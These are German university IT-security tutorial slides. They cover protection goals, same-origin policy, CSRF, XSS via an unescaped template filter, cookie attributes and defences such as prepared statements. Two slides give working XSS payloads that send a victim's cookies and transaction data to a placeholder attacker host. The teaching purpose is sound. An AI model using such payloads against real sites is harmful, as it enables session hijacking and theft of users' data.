IT-Sec Tutorstunde 2

Carl Koenig, Fabian Specht

Vorstellung Hausaufgaben

- (4) SQL-Injections
- (5) . . . continued . . .

Vorstellung Hausaufgaben

- (6) Blind SQL-Injections

Schutzziele (Basis-Ziele)

- Confidentiality

Schutzziele (Basis-Ziele)

- Confidentiality
  - unautorisierte Informationsgewinnung

Schutzziele (Basis-Ziele)

- Confidentiality
  - unautorisierte Informationsgewinnung
- Integrity

Schutzziele (Basis-Ziele)

- Confidentiality
  - unautorisierte Informationsgewinnung
- Integrity
  - unautorisierte / unbemerkte Modifikation

Schutzziele (Basis-Ziele)

- Confidentiality
  - unautorisierte Informationsgewinnung
- Integrity
  - unautorisierte / unbemerkte Modifikation
- Availability

Schutzziele (Basis-Ziele)

- Confidentiality
  - unautorisierte Informationsgewinnung
- Integrity
  - unautorisierte / unbemerkte Modifikation
- Availability
  - unbefugte Beeinträchtigung von Funktionalitaet

Schutzziele (Weitere Ziele)

- Authenticity

Schutzziele (Weitere Ziele)

- Authenticity
  - Nachweis Echtheit

Schutzziele (Weitere Ziele)

- Authenticity
  - Nachweis Echtheit
- Acountability

Schutzziele (Weitere Ziele)

- Authenticity
  - Nachweis Echtheit
- Acountability
  - unzulässiges Abstreiten

Schutzziele (Weitere Ziele)

- Authenticity
  - Nachweis Echtheit
- Acountability
  - unzulässiges Abstreiten
- Privacy

Schutzziele (Weitere Ziele)

- Authenticity
  - Nachweis Echtheit
- Acountability
  - unzulässiges Abstreiten
- Privacy
  - Kontrolle ueber Nutzung personenbezogener Daten

Aufgabe 1

- Angriffs- und Schutzziele

Aufgabe 2

Was kann eine boese Webseite eigentlich tun?

Aufgabe 2

Was kann eine boese Webseite eigentlich tun?

- (a) Skript schickt Inhalt anderer Tabs an eigenen Server

Aufgabe 2

Was kann eine boese Webseite eigentlich tun?

- (a) Skript schickt Inhalt anderer Tabs an eigenen Server
  - ist gesandboxed - grundsaetzlich nicht moeglich

Aufgabe 2

Was kann eine boese Webseite eigentlich tun?

- (a) Skript schickt Inhalt anderer Tabs an eigenen Server
  - ist gesandboxed - grundsaetzlich nicht moeglich
  - wird von Browser gewaehrleistet

Aufgabe 2

Was kann eine boese Webseite eigentlich tun?

- (a) Skript schickt Inhalt anderer Tabs an eigenen Server
  - ist gesandboxed - grundsaetzlich nicht moeglich
  - wird von Browser gewaehrleistet
  - nicht-sicherheitskritische Daten sind verfuegbar

Aufgabe 2

Was kann eine boese Webseite eigentlich tun?

- (a) Skript schickt Inhalt anderer Tabs an eigenen Server
  - ist gesandboxed - grundsaetzlich nicht moeglich
  - wird von Browser gewaehrleistet
  - nicht-sicherheitskritische Daten sind verfuegbar
    - z.B. Bildschirmgroesse im Browser

Aufgabe 2

Was kann eine boese Webseite eigentlich tun?

Aufgabe 2

Was kann eine boese Webseite eigentlich tun?

- (b) Skript liest Notenliste von TUMOnline aus

Aufgabe 2

Was kann eine boese Webseite eigentlich tun?

- (b) Skript liest Notenliste von TUMOnline aus
  - nicht einfach so moeglich - Same-Origin-Policy

Aufgabe 2

Was kann eine boese Webseite eigentlich tun?

- (b) Skript liest Notenliste von TUMOnline aus
  - nicht einfach so moeglich - Same-Origin-Policy
  - Ausnahme: spezieller CORS-Header von TUMOnline

Aufgabe 2

Was kann eine boese Webseite eigentlich tun?

- (b) Skript liest Notenliste von TUMOnline aus
  - nicht einfach so moeglich - Same-Origin-Policy
  - Ausnahme: spezieller CORS-Header von TUMOnline
    - allerdings nur bei Fehlkonfiguration

Aufgabe 2

Was kann eine boese Webseite eigentlich tun?

- (b) Skript liest Notenliste von TUMOnline aus
  - nicht einfach so moeglich - Same-Origin-Policy
  - Ausnahme: spezieller CORS-Header von TUMOnline
    - allerdings nur bei Fehlkonfiguration
  - nuetzlich fuer oeffentliche speziell gesicherte API Endpoints

Aufgabe 2

Was kann eine boese Webseite eigentlich tun?

Aufgabe 2

Was kann eine boese Webseite eigentlich tun?

- (c) Skript liest Cookies von TUMOnline aus

Aufgabe 2

Was kann eine boese Webseite eigentlich tun?

- (c) Skript liest Cookies von TUMOnline aus
  - bspw. Session Cookie

Aufgabe 2

Was kann eine boese Webseite eigentlich tun?

- (c) Skript liest Cookies von TUMOnline aus
  - bspw. Session Cookie
  - Teil von Sandboxing, daher eher nicht moeglich

Aufgabe 2

Was kann eine boese Webseite eigentlich tun?

- (c) Skript liest Cookies von TUMOnline aus
  - bspw. Session Cookie
  - Teil von Sandboxing, daher eher nicht moeglich
  - evtl. werden bei Anfragen an andere Seiten Cookies angehaengt, lassen sich aber von urspruenglicher Webseite nicht auslesen

Aufgabe 2

Was kann eine boese Webseite eigentlich tun?

Aufgabe 2

Was kann eine boese Webseite eigentlich tun?

- (d) evil.de schickt Exmatrikulationsformular an TUMOnline

Aufgabe 2

Was kann eine boese Webseite eigentlich tun?

- (d) evil.de schickt Exmatrikulationsformular an TUMOnline
  - funktioniert wahrscheinlich ohne weitere Vorkehrungen

Aufgabe 3

- Live Demo
- Parameter verstehen

Aufgabe 3

- Ist der Suffix |safe hier sinnvoll gewaehlt?

Aufgabe 3

- Ist der Suffix |safe hier sinnvoll gewaehlt?
  - Nein, da es ermoeglicht, einen XSS Payload zu injecten

Aufgabe 3

- Ist der Suffix |safe hier sinnvoll gewaehlt?
  - Nein, da es ermoeglicht, einen XSS Payload zu injecten
  - ohne |safe wuerde HTML escaping durchgefuehrt

HTML escaping

char	ent. name	code
Tab	&Tab;	&#9;
”	&quot;	&#34;
&	&amp;	&#38;
>	&gt;	&#62;
<	&lt;	&#60;

Aufgabe 3

- reflected vs. persistent XSS

Aufgabe 3

- Warum ist es im Kontext eines XSS Angriffs moeglich, Cookies der entsprechenden Webseite auszulesen?

Aufgabe 3

- Warum ist es im Kontext eines XSS Angriffs moeglich, Cookies der entsprechenden Webseite auszulesen?
- Vergleiche mit Aufgabe 2

Aufgabe 3

- Warum ist es im Kontext eines XSS Angriffs moeglich, Cookies der entsprechenden Webseite auszulesen?
- Vergleiche mit Aufgabe 2
  - Kontext ist ein anderer: Boese Webseite hat **keinen** Zugriff, hier werden Daten im Kontext der guten, “exploiteten” Webseite gesendet

Aufgabe 3

- Fuer welchen Payload vom Parameter ‘name’ koennen wir Cookies an den Angreifer schicken?

```
<script>
    document.location="http://attacker-server.de/
        ?cookies=" + document.cookie
</script>
```

Aufgabe 3

- Welche Sicherheitsattribute kann man fuer Cookies setzen?

Aufgabe 3

- Welche Sicherheitsattribute kann man fuer Cookies setzen?
  - HttpOnly (kann via document.cookie nicht ausgelesen werden)

Aufgabe 3

- Welche Sicherheitsattribute kann man fuer Cookies setzen?
  - HttpOnly (kann via document.cookie nicht ausgelesen werden)
  - Secure (werden nur bei HTTPS mitgesendet)

Aufgabe 3

- Welche Sicherheitsattribute kann man fuer Cookies setzen?
  - HttpOnly (kann via document.cookie nicht ausgelesen werden)
  - Secure (werden nur bei HTTPS mitgesendet)
  - Same-Site

Aufgabe 3

- Welche Sicherheitsattribute kann man fuer Cookies setzen?
  - HttpOnly (kann via document.cookie nicht ausgelesen werden)
  - Secure (werden nur bei HTTPS mitgesendet)
  - Same-Site
    - None

Aufgabe 3

- Welche Sicherheitsattribute kann man fuer Cookies setzen?
  - HttpOnly (kann via document.cookie nicht ausgelesen werden)
  - Secure (werden nur bei HTTPS mitgesendet)
  - Same-Site
    - None
    - Lax

Aufgabe 3

- Welche Sicherheitsattribute kann man fuer Cookies setzen?
  - HttpOnly (kann via document.cookie nicht ausgelesen werden)
  - Secure (werden nur bei HTTPS mitgesendet)
  - Same-Site
    - None
    - Lax
    - Strict

Aufgabe 3

- Wie underscheiden sich die Same-Origin-Policy und das Same-Site Attribut?

Aufgabe 3

- Wie underscheiden sich die Same-Origin-Policy und das Same-Site Attribut?
  - Same-Origin-Policy

Aufgabe 3

- Wie underscheiden sich die Same-Origin-Policy und das Same-Site Attribut?
  - Same-Origin-Policy
    - verbietet Javascript lesenden Zugriff auf Webseiten ungleicher Herkunft

Aufgabe 3

- Wie underscheiden sich die Same-Origin-Policy und das Same-Site Attribut?
  - Same-Origin-Policy
    - verbietet Javascript lesenden Zugriff auf Webseiten ungleicher Herkunft
    - trotzdem moeglich, ein Formular abzuschicken (CSRF)

Aufgabe 3

- Wie underscheiden sich die Same-Origin-Policy und das Same-Site Attribut?
  - Same-Origin-Policy
    - verbietet Javascript lesenden Zugriff auf Webseiten ungleicher Herkunft
    - trotzdem moeglich, ein Formular abzuschicken (CSRF)
  - Same-Site

Aufgabe 3

- Wie underscheiden sich die Same-Origin-Policy und das Same-Site Attribut?
  - Same-Origin-Policy
    - verbietet Javascript lesenden Zugriff auf Webseiten ungleicher Herkunft
    - trotzdem moeglich, ein Formular abzuschicken (CSRF)
  - Same-Site
    - Attribut eines Cookies

Aufgabe 3

- Wie underscheiden sich die Same-Origin-Policy und das Same-Site Attribut?
  - Same-Origin-Policy
    - verbietet Javascript lesenden Zugriff auf Webseiten ungleicher Herkunft
    - trotzdem moeglich, ein Formular abzuschicken (CSRF)
  - Same-Site
    - Attribut eines Cookies
    - verhindert bei entsprechendem Wert das Mitsenden von Cookies (schreibenden Zugriff)

Aufgabe 3

- Mit welchem XSS Payload koennen die Kontoumsaetze einer Person gestohlen werden?

```
<script>
    document.location="http://attacker-server.de/
        ?content=" + document.getElementById("amount")
        .innerHTML
</script>
```

- evtl. muss amount noch anders kodiert werden mit `encodeURI(amountdata)`

Aufgabe 4

- Wie koennen wir uns nun vor solchen Injection-Angriffen schuetzen?

Aufgabe 4

- Wie koennen wir uns nun vor solchen Injection-Angriffen schuetzen?
  - XSS

Aufgabe 4

- Wie koennen wir uns nun vor solchen Injection-Angriffen schuetzen?
  - XSS
    - Input Sanitization

Aufgabe 4

- Wie koennen wir uns nun vor solchen Injection-Angriffen schuetzen?
  - XSS
    - Input Sanitization
  - SQL

Aufgabe 4

- Wie koennen wir uns nun vor solchen Injection-Angriffen schuetzen?
  - XSS
    - Input Sanitization
  - SQL
    - Prepared Statements

Aufgabe 4

- Wo solle User-Authentisierung implementiert werden? Clientseitig oder im Backend?

Aufgabe 4

- Wo solle User-Authentisierung implementiert werden? Clientseitig oder im Backend?
  - definitiv serverseitig!

Aufgabe 4

- Wo solle User-Authentisierung implementiert werden? Clientseitig oder im Backend?
  - definitiv serverseitig!
  - clientseitiger Code kann trivial manuell umgangen werden